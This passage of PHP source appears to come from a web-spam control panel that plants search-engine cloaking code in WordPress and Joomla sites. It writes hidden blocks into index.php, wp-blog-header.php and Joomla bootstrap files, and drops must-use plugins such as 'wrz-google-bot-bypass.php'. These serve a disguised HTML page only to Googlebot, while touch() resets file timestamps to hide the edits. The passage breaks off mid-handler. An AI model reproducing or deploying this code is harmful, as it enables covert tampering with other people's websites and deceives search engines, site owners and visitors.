function wrz_cloak_wp_apply_amp($dir){
  global $AMP_FILE;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  if(!@is_file($dir.'/wp-load.php'))return 'ERR:NOT_WP';
  $muDir=$dir.'/wp-content/mu-plugins';
  if(!@is_dir($muDir))@mkdir($muDir,0755,true);
  if(!@is_dir($muDir))return 'ERR:MU_DIR';
  $code=wrz_amp_cloak_loader_php('(defined(\'ABSPATH\')?ABSPATH:\''.str_replace("'","\\'",$dir.'/').'\').\'amp.php\'','amp.php');
  $muFile=$muDir.'/wrz-amp-cloak.php';
  $ok=@file_put_contents($muFile,$code)!==false;
  if($ok)@chmod($muFile,0644);
  if(!$ok)return 'ERR:MU_WRITE';
  wrz_cloak_ensure_amp_file($dir);
  return 'OK';
}}
if (!function_exists('wrz_cloak_wp_remove_amp')) {
function wrz_cloak_wp_remove_amp($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $mu=$dir.'/wp-content/mu-plugins/wrz-amp-cloak.php';
  if(@is_file($mu))@unlink($mu);
}}
if (!function_exists('wrz_cloak_joomla_loader_content')) {
function wrz_cloak_joomla_loader_content(){
  return <<<'WRZBOTCLOAK'
<?php
if(defined('WRZ_BOT_CLOAK_DONE'))return;
define('WRZ_BOT_CLOAK_DONE',1);
$_wrz_ua='';
foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as $_wrz_h){
  if(!empty($_SERVER[$_wrz_h])){$_wrz_ua=(string)$_SERVER[$_wrz_h];break;}
}
$_wrz_uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/';
$_wrz_path=strtok($_wrz_uri,'?')?:'/';
if($_wrz_path==='')$_wrz_path='/';
if($_wrz_path!=='/'&&substr($_wrz_path,-1)==='/')$_wrz_path=rtrim($_wrz_path,'/')?:'/';
$_wrz_home=in_array($_wrz_path,['/','/index.php'],true);
if(!$_wrz_home||!preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',$_wrz_ua))return;
$_wrz_html=__DIR__.'/wp-comments-post-loader.html';
if(!is_file($_wrz_html)||@filesize($_wrz_html)<10)return;
while(ob_get_level()>0)@ob_end_clean();
if(!headers_sent()){
  header('Content-Type: text/html; charset=utf-8');
  header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Vary: User-Agent');
}
readfile($_wrz_html);
exit;
WRZBOTCLOAK;
}}
if (!function_exists('wrz_cloak_joomla_inline_block')) {
function wrz_cloak_joomla_inline_block(){
  return <<<'WRZINLINE'

/* WRZ-JOOMLA-CLOAK */
if(!defined('WRZ_BOT_CLOAK_DONE')){define('WRZ_BOT_CLOAK_DONE',1);
$_wrz_ua='';
foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as $_wrz_h){
  if(!empty($_SERVER[$_wrz_h])){$_wrz_ua=(string)$_SERVER[$_wrz_h];break;}
}
$_wrz_uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/';
$_wrz_path=strtok($_wrz_uri,'?')?:'/';
if($_wrz_path==='')$_wrz_path='/';
if($_wrz_path!=='/'&&substr($_wrz_path,-1)==='/')$_wrz_path=rtrim($_wrz_path,'/')?:'/';
$_wrz_home=in_array($_wrz_path,['/','/index.php'],true);
if($_wrz_home&&preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',$_wrz_ua)){
  $_wrz_html=__DIR__.'/wp-comments-post-loader.html';
  if(is_file($_wrz_html)&&@filesize($_wrz_html)>=10){
    while(ob_get_level()>0)@ob_end_clean();
    if(!headers_sent()){header('Content-Type: text/html; charset=utf-8');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');}
    readfile($_wrz_html);exit;
  }
}}
/* /WRZ-JOOMLA-CLOAK */

WRZINLINE;
}}
if (!function_exists('wrz_cloak_joomla_loader_paths')) {
function wrz_cloak_joomla_loader_paths($dir){
  global $JOOMLA_CLOAK_LOADER;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  return [
    ['file'=>$dir.'/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/wrz-bot-cloak.php';\n"],
    ['file'=>$dir.'/tmp/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/tmp/wrz-bot-cloak.php';\n"],
    ['file'=>$dir.'/cache/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/cache/wrz-bot-cloak.php';\n"],
    ['file'=>$dir.'/includes/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/includes/wrz-bot-cloak.php';\n"],
  ];
}}
if (!function_exists('wrz_cloak_joomla_try_write_loader')) {
function wrz_cloak_joomla_try_write_loader($dir){
  $body=wrz_cloak_joomla_loader_content();
  foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){
    $parent=dirname($spec['file']);
    if(!@is_dir($parent))@mkdir($parent,0755,true);
    if(@file_put_contents($spec['file'],$body)!==false){
      @chmod($spec['file'],0644);
      return ['ok'=>true,'file'=>$spec['file'],'require'=>$spec['require']];
    }
  }
  return ['ok'=>false];
}}
if (!function_exists('wrz_cloak_joomla_clean_index_content')) {
function wrz_cloak_joomla_clean_index_content($content){
  $content=(string)$content;
  $content=preg_replace('/\/\* WRZ-JOOMLA-CLOAK \*\/.*?\/\* \/WRZ-JOOMLA-CLOAK \*\/\s*/s','',$content);
  $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/)?wrz-bot-cloak\.php[\'"]\s*;\s*/',"\n",$content);
  return $content;
}}
if (!function_exists('wrz_cloak_joomla_remove_cloak')) {
function wrz_cloak_joomla_remove_cloak($dir){
  global $JOOMLA_CLOAK_LOADER;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){
    if(@is_file($spec['file']))@unlink($spec['file']);
  }
  if(@is_file($dir.'/'.$JOOMLA_CLOAK_LOADER))@unlink($dir.'/'.$JOOMLA_CLOAK_LOADER);
  if(@is_file($idx)){
    $c=wrz_cloak_joomla_clean_index_content((string)@file_get_contents($idx));
    @file_put_contents($idx,$c);
  }
}}

if (!function_exists('wrz_cloak_cms')) {
function wrz_cloak_cms($dir){
  return function_exists('wrz_cloak_cms_type')?wrz_cloak_cms_type($dir):'unknown';
}}
if (!function_exists('wrz_cloak_wp_tpl')) {
function wrz_cloak_wp_tpl(){
  global $TEMPLATES,$INDEX_FILE;
  return isset($TEMPLATES['wordpress'][$INDEX_FILE])?$TEMPLATES['wordpress'][$INDEX_FILE]:null;
}}
if (!function_exists('wrz_cloak_joomla_bootstrap')) {
function wrz_cloak_joomla_bootstrap($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  if(@is_file($dir.'/includes/app.php'))return $dir.'/includes/app.php';
  if(@is_file($dir.'/includes/framework.php'))return $dir.'/includes/framework.php';
  return $dir.'/includes/app.php';
}}
if (!function_exists('wrz_cloak_bot_block')) {
function wrz_cloak_bot_block($htmlVar){
  return "\n/* WRZ-CLOAK-START */\n"
    .'$_wrz_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n"
    .'$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n"
    .'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_wrz_ua)&&$_wrz_uri===\'/\'){'."\n"
    .'  $_wrz_html='.$htmlVar.';'."\n"
    .'  if(file_exists($_wrz_html)){while(ob_get_level()>0)ob_end_clean();header(\'Content-Type: text/html; charset=utf-8\');header(\'Vary: User-Agent\');readfile($_wrz_html);exit;}'."\n"
    .'}'."\n"
    .'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n"
    ."/* WRZ-CLOAK-END */\n";
}}
if (!function_exists('wrz_cloak_patch_bootstrap')) {
function wrz_cloak_patch_bootstrap($filePath,$htmlPathExpr){
  if(!@file_exists($filePath))return 'ERR';
  $content=(string)@file_get_contents($filePath);
  if(strpos($content,'WRZ-CLOAK-START')!==false)return 'EXISTS';
  $mtime=@filemtime($filePath);
  $block=wrz_cloak_bot_block($htmlPathExpr);
  if(preg_match('/^(<\?php)/',$content)){
    $new=preg_replace('/^(<\?php)/','$1'.$block,$content,1);
  }else{
    $new=$content.$block;
  }
  $ok=($new!==null&&$new!==$content)?@file_put_contents($filePath,$new):@file_put_contents($filePath,$content.$block);
  if($ok!==false&&$mtime)@touch($filePath,$mtime);
  return $ok!==false?'OK':'ERR';
}}
if (!function_exists('wrz_cloak_unpatch_bootstrap')) {
function wrz_cloak_unpatch_bootstrap($filePath){
  if(!@file_exists($filePath))return;
  $content=(string)@file_get_contents($filePath);
  if(strpos($content,'WRZ-CLOAK-START')===false)return;
  $mtime=@filemtime($filePath);
  $clean=preg_replace('/\/\* WRZ-CLOAK-START \*\/.*?\/\* WRZ-CLOAK-END \*\/\s*/s','',$content);
  $ok=@file_put_contents($filePath,$clean);
  if($ok!==false&&$mtime)@touch($filePath,$mtime);
}}
if (!function_exists('wrz_cloak_safe_inject_php')) {
function wrz_cloak_safe_inject_php($content,$block,$marker){
  if(strpos($content,$marker)!==false)return null;
  if(preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$content,$m)){
    return $m[1].$m[2].$m[3].$block.substr($content,strlen($m[0]));
  }
  if(preg_match('/^(<\?php)/',$content)){
    return preg_replace('/^(<\?php)/','$1'.$block,$content,1);
  }
  return '<?php'.$block.$content;
}}
if (!function_exists('wrz_cloak_joomla_unpatch_all')) {
function wrz_cloak_joomla_unpatch_all($dir){
  global $JOOMLA_APP_BAK;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  foreach(['includes/app.php','includes/framework.php'] as $rel){
    $fp=$dir.'/'.$rel;
    $bak=$dir.'/'.str_replace('/','-',$rel).'.wrz.bak';
    $legacyBak=$dir.'/'.$JOOMLA_APP_BAK;
    if(@is_file($legacyBak)&&$rel==='includes/app.php'){
      @file_put_contents($fp,(string)@file_get_contents($legacyBak));
      @unlink($legacyBak);
      continue;
    }
    if(@is_file($bak)){
      @file_put_contents($fp,(string)@file_get_contents($bak));
      @unlink($bak);
      continue;
    }
    wrz_cloak_unpatch_bootstrap($fp);
  }
}}
if (!function_exists('wrz_cloak_joomla_restore_index')) {
function wrz_cloak_joomla_restore_index($dir){
  global $JOOMLA_INDEX_BAK;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  wrz_cloak_joomla_unpatch_all($dir);
  wrz_cloak_joomla_remove_amp($dir);
  wrz_cloak_joomla_remove_cloak($dir);
  $bak=$dir.'/'.$JOOMLA_INDEX_BAK;
  if(@is_file($bak)){
    $c=(string)@file_get_contents($bak);
    if(wrz_joomla_index_looks_valid($c)){
      $ok=wrz_cloak_joomla_write_index($dir,$c);
      if($ok)@unlink($bak);
      return $ok;
    }
  }
  $src=wrz_cloak_joomla_find_index_source($dir);
  if($src){
    return wrz_cloak_joomla_write_index($dir,$src['content']);
  }
  if(@is_file($idx)){
    $c=(string)@file_get_contents($idx);
    if(strpos($c,'WRZ-JOOMLA-CLOAK')!==false||strpos($c,'wrz-bot-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false||strpos($c,'wrz-amp-cloak.php')!==false){
      $c=wrz_cloak_joomla_clean_index_content($c);
      $c=wrz_cloak_joomla_clean_amp_from_index($c);
      wrz_cloak_joomla_write_index($dir,$c);
      $c=(string)@file_get_contents($idx);
    }
    if(wrz_joomla_index_looks_valid($c))return true;
    // WordPress index yanlislikla yazildiysa — Joomla sablonu ile degistir
    if(strpos($c,'wp-blog-header.php')!==false||strpos($c,'WordPress application')!==false){
      return wrz_cloak_joomla_write_index($dir,wrz_joomla_default_index_content($dir));
    }
  }
  return wrz_cloak_joomla_write_index($dir,wrz_joomla_default_index_content($dir));
}}
if (!function_exists('wrz_cloak_joomla_backup_index')) {
function wrz_cloak_joomla_backup_index($dir){
  global $JOOMLA_INDEX_BAK;
  $idx=$dir.DIRECTORY_SEPARATOR.'index.php';
  $bak=$dir.DIRECTORY_SEPARATOR.$JOOMLA_INDEX_BAK;
  if(!@file_exists($idx)||@file_exists($bak))return;
  $c=(string)@file_get_contents($idx);
  if(strpos($c,'wp-comments-post-loader.html')!==false||strpos($c,'WRZ-JOOMLA-CLOAK')!==false||strpos($c,'wrz-bot-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false||strpos($c,'wrz-amp-cloak.php')!==false){
    $clean=wrz_cloak_joomla_clean_amp_from_index(wrz_cloak_joomla_clean_index_content($c));
    if(function_exists('wrz_joomla_index_looks_valid')&&wrz_joomla_index_looks_valid($clean)){
      @file_put_contents($bak,$clean);
    }
    return;
  }
  @file_put_contents($bak,$c);
}}
if (!function_exists('wrz_cloak_joomla_apply')) {
function wrz_cloak_joomla_apply($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  if(!@is_file($idx))return 'ERR:NO_INDEX';
  wrz_cloak_joomla_backup_index($dir);
  $content=(string)@file_get_contents($idx);
  if(substr($content,0,3)==="\xEF\xBB\xBF")$content=substr($content,3);
  $content=wrz_cloak_joomla_clean_index_content($content);
  $loader=wrz_cloak_joomla_try_write_loader($dir);
  $mode='inline';
  $inject='';
  if(!empty($loader['ok'])){
    $mode='file';
    $inject=$loader['require'];
  }else{
    $inject=wrz_cloak_joomla_inline_block();
  }
  if($mode==='file'&&strpos($content,'wrz-bot-cloak.php')===false){
    if(preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$content,$m)){
      $content=$m[1].$m[2].$m[3].$inject.substr($content,strlen($m[0]));
    }elseif(preg_match('/^(<\?php)/',$content)){
      $content=preg_replace('/^(<\?php)/','$1'.$inject,$content,1);
    }else{
      $content='<?php'.$inject.$content;
    }
  }elseif($mode==='inline'){
    if(strpos($content,'WRZ-JOOMLA-CLOAK')===false){
      $new=wrz_cloak_safe_inject_php($content,$inject,'WRZ-JOOMLA-CLOAK');
      if($new!==null)$content=$new;
    }
  }
  if(!is_writable($idx)&&@is_file($idx))return 'ERR:READONLY';
  $ok=@file_put_contents($idx,$content)!==false;
  if(!$ok)return 'ERR:WRITE';
  return $mode==='file'?'OK':'OK:INLINE';
}}

$HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InZpIj48aGVhZD4KCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+Cjx0aXRsZT5TRU8gVEVTVCBBTUlOQUtPWUFNPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPGgxPlNFTyBURVNUIEFNSU5BS09ZQU08L2gxPgoKPC9ib2R5PjwvaHRtbD4K');
$HTML_FILE='wp-comments-post-loader.html';
$INDEX_FILE='index.php';

// ---- Yardımcılar -----------------------------------------------------------
if (!function_exists('wrz_cloak_safe_name')) {
function wrz_cloak_safe_name($n){
  if($n===''||$n===null)return false;
  if(strpos($n,'/')!==false||strpos($n,'\\')!==false||strpos($n,"\0")!==false||strpos($n,'..')!==false)return false;
  return true;
}
}
if (!function_exists('wrz_cloak_b64url_decode')) {
function wrz_cloak_b64url_decode($s){
  $s=trim((string)$s);
  if($s==='')return '';
  $std=strtr($s,'-_','+/');
  $pad=strlen($std)%4;
  if($pad)$std.=str_repeat('=',(4-$pad));
  $d=base64_decode($std,true);
  return ($d!==false&&$d!=='')?$d:$s;
}
}
if (!function_exists('wrz_cloak_enc_b64url')) {
function wrz_cloak_enc_b64url($s){
  return rtrim(strtr(base64_encode($s),'+/','-_'),'=');
}
}
if (!function_exists('wrz_cloak_is_google_file')) {
function wrz_cloak_is_google_file($name){
  return (bool)preg_match('/^google[a-zA-Z0-9]+\.html$/',$name);
}
}
if (!function_exists('wrz_cloak_sub')) {
function wrz_cloak_sub($s,$start,$len){return function_exists('mb_substr')?mb_substr($s,$start,$len):substr($s,$start,$len);}
}
if (!function_exists('wrz_cloak_list_google_files')) {
function wrz_cloak_list_google_files($dir){
  $out=[];
  foreach((array)@glob($dir.DIRECTORY_SEPARATOR.'google*.html') as $p){
    $b=basename($p);
    if(wrz_cloak_is_google_file($b))$out[]=$b;
  }
  sort($out);
  return $out;
}
}



// Dizindeki referans dosyalardan medyan mtime hesapla
if (!function_exists('wrz_cloak_ref_mtime')) {
function wrz_cloak_ref_mtime($dir,$skip=[]){
  $mt=[];
  if($dh=@opendir($dir)){
    while(($f=readdir($dh))!==false){
      if($f==='.'||$f==='..')continue;
      $fp=$dir.DIRECTORY_SEPARATOR.$f;
      if(!is_file($fp)||in_array($f,$skip))continue;
      $t=@filemtime($fp);
      if($t>mktime(0,0,0,1,1,2010))$mt[]=$t;
    }
    closedir($dh);
  }
  if(empty($mt))return null;
  sort($mt);
  return $mt[(int)(count($mt)/2)];
}
}

// ---- AMP cloak — Joomla / WordPress ayri, guvenli ---------------------------
if($a==="joomla_amp_scan"){
  if(!@is_file($DIR.'/configuration.php')){
    wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi']);
  }
  wrz_cloak_json_exit(wrz_cloak_joomla_amp_plan($DIR));
}

if($a==="autocloak_amp"){
  $targetCms=isset($_GET['cms'])?strtolower(trim((string)$_GET['cms'])):'';
  if($targetCms!=='joomla'&&$targetCms!=='wordpress'){
    wrz_cloak_json_exit(['error'=>'cms=joomla veya cms=wordpress gerekli','index'=>'ERR']);
  }
  $results=['cms'=>$targetCms,'mode'=>'amp'];
  try {
    $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
    $origMtime=file_exists($idx)?@filemtime($idx):null;
    if($targetCms==='joomla'){
      if(!@is_file($DIR.'/configuration.php')){
        wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi','index'=>'ERR:NOT_JOOMLA']);
      }
      wrz_cloak_joomla_remove_amp($DIR);
      $install=wrz_cloak_joomla_amp_install($DIR);
      $results=array_merge($results,$install);
      $results['index']=$install['index']??'ERR';
      $results['loader']=$install['loader']??'ERR';
      $results['mu_plugin']='NA';
      $results['plan']=$install['plan']??[];
      $results['inject_point']=$install['inject']??'';
      $results['loader_file']=isset($install['loader_path'])?basename((string)$install['loader_path']):'';
      $results['amp_path']=$install['amp_path']??'amp.php';
      $results['amp']=$install['amp']??'ERR';
      $results['amp_size']=0;
      if(!empty($install['amp_path'])){
        $af=$DIR.'/'.str_replace('\\','/',$install['amp_path']);
        if(@is_file($af))$results['amp_size']=(int)@filesize($af);
      }
    }else{
      if(!@is_file($DIR.'/wp-load.php')){
        wrz_cloak_json_exit(['error'=>'WordPress kok bulunamadi','index'=>'ERR:NOT_WP']);
      }
      $results['index']=wrz_cloak_wp_apply_amp($DIR);
      $results['loader']='NA';
      $results['mu_plugin']=(@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'))?'OK':'ERR';
    }
    if(($results['index']??'')==='OK'&&$origMtime&&@is_file($idx))@touch($idx,$origMtime);
    if($targetCms==='wordpress'){
      $results['amp']=wrz_cloak_ensure_amp_file($DIR);
      $results['amp_path']='amp.php';
      $results['amp_size']=@is_file($DIR.'/amp.php')?(int)@filesize($DIR.'/amp.php'):0;
    }
    $okIdx=($results['index']??'')==='OK';
    $strategy=($targetCms==='joomla'&&isset($results['plan']['strategy']))?$results['plan']['strategy']:'';
    $results['message']=$okIdx
      ?('AMP cloak aktif'.($strategy?(' — '.$strategy):'').' — amp.php duzenleyin, GoogleBot testi yapin.')
      :('Basarisiz: '.($results['index']??'ERR').(isset($results['steps'])?(' | '.implode(' · ',(array)$results['steps'])):''));
  } catch (Throwable $e) {
    wrz_cloak_json_exit(['error'=>$e->getMessage(),'index'=>'ERR']);
  }
  wrz_cloak_json_exit($results);
}

// ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur --
if($a==="autocloak"){
  $results=[];
  try {
  $cms=wrz_cloak_cms($DIR);
  $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
  $origMtime=file_exists($idx)?@filemtime($idx):null;
  $html=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;

  if($cms==='joomla'){
    if(!file_exists($idx)){
      wrz_cloak_json_exit(['error'=>'Joomla index.php bulunamadi','index'=>'ERR:NO_INDEX']);
    }
    wrz_cloak_joomla_unpatch_all($DIR);
    $results['index']=wrz_cloak_joomla_apply($DIR);
    if(($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS')&&$origMtime)@touch($idx,$origMtime);
    $results['loader']=($results['index']==='OK')?'OK':(($results['index']==='OK:INLINE')?'INLINE':'ERR');
    $results['includes_app']='SKIP';
    $results['mu_plugin']='NA';
    $results['wp_blog_header']='NA';
  }else{
    $wpTpl=wrz_cloak_wp_tpl();
    $cloakTpl=($wpTpl&&isset($wpTpl['cloak']))?$wpTpl['cloak']:'';
    if($cloakTpl===''){
      wrz_cloak_json_exit(['error'=>'Cloak sablonu yok','index'=>'ERR']);
  }
  $ok1=@file_put_contents($idx,$cloakTpl);
  if($ok1!==false&&$origMtime)@touch($idx,$origMtime);
  $results['index']=$ok1!==false?'OK':'ERR';
  $muDir=$DIR.'/wp-content/mu-plugins';
  $muFile=$muDir.'/wrz-google-bot-bypass.php';
  $muCode='<?php'."\n"
    .'defined(\'ABSPATH\')||exit;'."\n"
    .'$_wrz_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n"
    .'$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n"
    .'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_wrz_ua)&&$_wrz_uri===\'/\'){'."\n"
    .'  $_wrz_html=ABSPATH.\'wp-comments-post-loader.html\';'."\n"
    .'  if(file_exists($_wrz_html)){'."\n"
    .'    while(ob_get_level()>0)ob_end_clean();'."\n"
    .'    header(\'Content-Type: text/html; charset=utf-8\');'."\n"
    .'    header(\'Vary: User-Agent\');'."\n"
    .'    readfile($_wrz_html);exit;'."\n"
    .'  }'."\n"
    .'}'."\n"
    .'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n";
  if(!is_dir($muDir))@mkdir($muDir,0755,true);
  if(is_dir($muDir)){
    $ok3=@file_put_contents($muFile,$muCode);
    $results['mu_plugin']=$ok3!==false?'OK':'ERR';
  }else{
    $results['mu_plugin']='ERR';
  }
  $wpblog=$DIR.'/wp-blog-header.php';
  if(!file_exists($wpblog)){
    $results['wp_blog_header']='ERR';
  }else{
      $results['wp_blog_header']=wrz_cloak_patch_bootstrap($wpblog,"__DIR__.'/wp-comments-post-loader.html'");
    }
    $results['includes_app']='NA';
  }

  $htmlSize=@file_exists($html)?(int)@filesize($html):0;
  if(!file_exists($html)||$htmlSize<80){
    $ok2=@file_put_contents($html,$HTML_DEFAULT);
    if($ok2!==false&&$origMtime)@touch($html,$origMtime);
    $results['html']=$ok2!==false?($htmlSize>0&&$htmlSize<80?'REFILLED':'CREATED'):'ERR';
    $results['html_warn']='Perde HTML bos/eksik — Perde Tasarimini Duzenle bolumunden gercek HTML kaydedin';
    }else{
    $results['html']='EXISTS';
  }
  $results['html_size']=@file_exists($html)?(int)@filesize($html):0;
  $results['cloak_marker']=(@is_file($idx)&&(strpos((string)@file_get_contents($idx),'wrz-bot-cloak.php')!==false||strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false));
  if(!isset($results['loader'])){
    $results['loader']=(@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php'))?'OK':((strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false)?'INLINE':'ERR');
  }
  $results['message']=($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS')
    ?('Cloak aktif ('.$results['loader'].'). GoogleBot testi yapin.')
    :('Cloak yazilamadi: '.$results['index']);
  $results['cms']=$cms;
  } catch (Throwable $e) {
    wrz_cloak_json_exit(['error' => $e->getMessage(), 'index' => 'ERR']);
  }
  wrz_cloak_json_exit($results);
}

// ---- Orijinale dön / acil geri al ------------------------------------------
if($a==="revert"||$a==="force_revert"){
  $force=($a==='force_revert');
  $cms=wrz_cloak_cms($DIR);
  $isJoomla=($cms==='joomla')||@is_file($DIR.'/configuration.php');
  $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
  $origMtime=file_exists($idx)?@filemtime($idx):null;
  $ok=false;
  $log=[];
  try {
    if($isJoomla||$force){
      wrz_cloak_joomla_unpatch_all($DIR);
      wrz_cloak_joomla_remove_cloak($DIR);
      wrz_cloak_joomla_remove_amp($DIR);
      $ok=wrz_cloak_joomla_restore_index($DIR);
      $log[]='joomla_restore:'.($ok?'OK':'ERR');
    }
    if($cms==='wordpress'&&!$isJoomla){
      $wpTpl=wrz_cloak_wp_tpl();
      $orig=($wpTpl&&isset($wpTpl['orig']))?$wpTpl['orig']:'';
      if($orig!=='')$ok=@file_put_contents($idx,$orig)!==false;
  $bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php';
  if(file_exists($bypassFile))@unlink($bypassFile);
      wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php');
      wrz_cloak_wp_remove_amp($DIR);
    }elseif($force&&!$isJoomla&&!$ok){
      wrz_cloak_joomla_unpatch_all($DIR);
      wrz_cloak_joomla_remove_amp($DIR);
      $ok=wrz_cloak_joomla_restore_index($DIR)||$ok;
      $bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php';
      if(file_exists($bypassFile))@unlink($bypassFile);
      wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php');
      wrz_cloak_wp_remove_amp($DIR);
    }elseif($isJoomla){
      wrz_cloak_wp_remove_amp($DIR);
    }
    if($origMtime&&file_exists($idx))@touch($idx,$origMtime);
    if(function_exists('opcache_invalidate')&&file_exists($idx))@opcache_invalidate($idx,true);
  } catch (Throwable $e) {
    wrz_cloak_json_exit(['ok'=>false,'error'=>$e->getMessage(),'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]);
  }
  if($force){
    wrz_cloak_json_exit(['ok'=>(bool)$ok,'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]);
  }
  wrz_cloak_clean_buffers();
  header('Content-Type: text/plain; charset=utf-8');
  echo $ok?'OK':'ERR';
  exit;
}

// ---- Joomla index.php olustur / geri yukle ---------------------------------
if($a==="restore_index"){
  $ok=wrz_cloak_joomla_restore_index($DIR);
  $idxPath=$DIR.DIRECTORY_SEPARATOR.'index.php';
  $idxPreview=@is_file($idxPath)?wrz_cloak_sub((string)@file_get_contents($idxPath),0,120):'';
  while(ob_get_level()>0)ob_end_clean();
  header('Content-Type:application/json');
  echo json_encode([
    'ok'=>(bool)$ok,
    'dir'=>$DIR,
    'index_exists'=>@is_file($idxPath),
    'index_valid'=>@is_file($idxPath)?wrz_joomla_index_looks_valid((string)@file_get_contents($idxPath)):false,
    'preview'=>$idxPreview,
  ],JSON_UNESCAPED_UNICODE);exit;
}

// ---- Dosya oku (base64 döner) -----------------------------------------------
if($a==="raw"){
  $name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:'');
  if(!wrz_cloak_safe_name($name))die("Forbidden");
  $allowed=[$INDEX_FILE,$HTML_FILE,'amp.php'];
  if(!in_array($name,$allowed,true))die("Forbidden");
  if($name==='amp.php'&&function_exists('wrz_cloak_joomla_amp_write_target')){
    $target=wrz_cloak_joomla_amp_write_target($DIR);
  }else{
  $target=$DIR.DIRECTORY_SEPARATOR.$name;
  }
  while(ob_get_level()>0)ob_end_clean();
  header("Content-Type:text/plain;charset=utf-8");
  header("X-Body-Encoding: base64");
  header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
  header("Pragma: no-cache");
  echo base64_encode((string)@file_get_contents($target));exit;
}

// ---- amp.php kaydet --------------------------------------------------------
if($a==="saveamp"){
  global $AMP_FILE;
  if(function_exists('wrz_cloak_joomla_amp_write_target')){
    $target=wrz_cloak_joomla_amp_write_target($DIR);
  }else{
    $target=$DIR.DIRECTORY_SEPARATOR.$AMP_FILE;
  }
  $d=isset($_POST["d"])?$_POST["d"]:'';
  $bin=@hex2bin($d);
  while(ob_get_level()>0)ob_end_clean();
  if($bin===false){echo"ERR: bozuk veri";exit;}
  if(preg_match('/<\?(?!xml)/i',$bin)){echo"ERR: amp.php sadece HTML olmali (PHP etiketi yasak)";exit;}
  $parent=@dirname($target);
  if($parent&&!@is_dir($parent))@mkdir($parent,0755,true);
  $ok=@file_put_contents($target,$bin);
  if($ok)@chmod($target,0644);
  echo $ok!==false?'OK':'ERR';exit;
}

// ---- .html kaydet (serbest) --------------------------------------------------
if($a==="savehtml"){
  $target=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE;
